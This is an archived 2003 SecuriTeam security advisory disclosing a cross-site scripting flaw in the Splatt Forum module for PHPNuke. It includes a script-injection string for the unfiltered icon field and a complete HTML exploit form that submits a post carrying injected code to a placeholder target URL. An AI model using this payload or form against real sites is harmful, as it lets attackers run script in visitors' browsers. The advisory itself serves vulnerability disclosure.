[UNIX] Splatt Forum XSS Vulnerability in icon Posting
From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/03
- Previous message: SecuriTeam: "[TOOL] Windows Script Decoder"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 21 Jul 2003 19:24:50 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security in Canada
Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
We welcome ISPs, system integrators and IT systems resellers
to promote the most advanced vulnerability assessment solutions today.
Contact us at 416-482-0038 or at canadasales@beyondsecurity.com
- - - - - - - - -
Splatt Forum XSS Vulnerability in icon Posting
------------------------------------------------------------------------
SUMMARY
<http://www.splatt.it/> Splatt Forum is a forum engine for PHPNuke
powered websites. A Cross-Site Scripting vulnerability has been found in
the product allowing attackers to insert malicious HTML and JavaScript
code into existing web pages.
DETAILS
Any user can inject malicious HTML or JavaScript code whenever he creates
a new post. This is because icon images are not filtered for malicious
content.
Instead of using the default icon HTML code, you can create a personalized
version such as: icon.gif"><script>alert('bug');<script><anytag="
This will result in the following code being added to the posted data:
<img src="icon.gif"><script>alert('bug');<script><anytag="" etc.>
Exploit code:
< html>
< body>
< script>
<!-- Modify here -->
var
address='http://TargetURL/gate.html?mop=modload&name=Forums&file=newtopic';
</script>
<!-- Exploit form -->
< script>
document.write("<form action="+address+" method='post' name='coolsus'>");
</script>
Numero forum: < input type=text name=forum value=1 size=3><br>
Username: < input CLASS=textbox TYPE="TEXT" NAME="username" SIZE="25"
MAXLENGTH="40"><br>
Password: < input CLASS=textbox TYPE="PASSWORD" NAME="password" SIZE="25"
MAXLENGTH="25"><br>
Soggetto: < input CLASS=textbox TYPE="TEXT" NAME="subject" SIZE="75"
MAXLENGTH="75"><br>
Messaggio:<br><textarea name="message" rows="10" cols="75"
wrap="VIRTUAL"></textarea><br>
< input type=hidden name=bbcode value=0>
< input type=hidden name=smile value=0>
< input type=hidden name=notify value=0>
<b>Inject code:</b> <input type=text name=image_subject
value='icon1.gif">HTML CODE<!-- "' size=100><br>
< input type="submit" name="submit" value=Invia class="Button">
</form>
</body>
</html>
ADDITIONAL INFORMATION
The information has been provided by <mailto:blangels@libero.it>
BlackAngels.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[TOOL] Windows Script Decoder"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- Re: How can i deactivate paste in a rich text edit box ?
... > The problem i still have is that i want to send the client a checker ...
Remember that in non IE/Mozilla browsers, the textarea will be just ... since they can
also contain malicious HTML. ... allowed than what my script would let through.
... (comp.lang.javascript) - ICQ WEB Portal multiple Cross Site Scripting vulnerability
... The icq portal suffer from multiple Cross Site Scripting Vulnerability. ...
This search script http://search.icq.com/dirsearch.adp does not check ... anymore for malicious
HTML or Java Script code. ... (Bugtraq)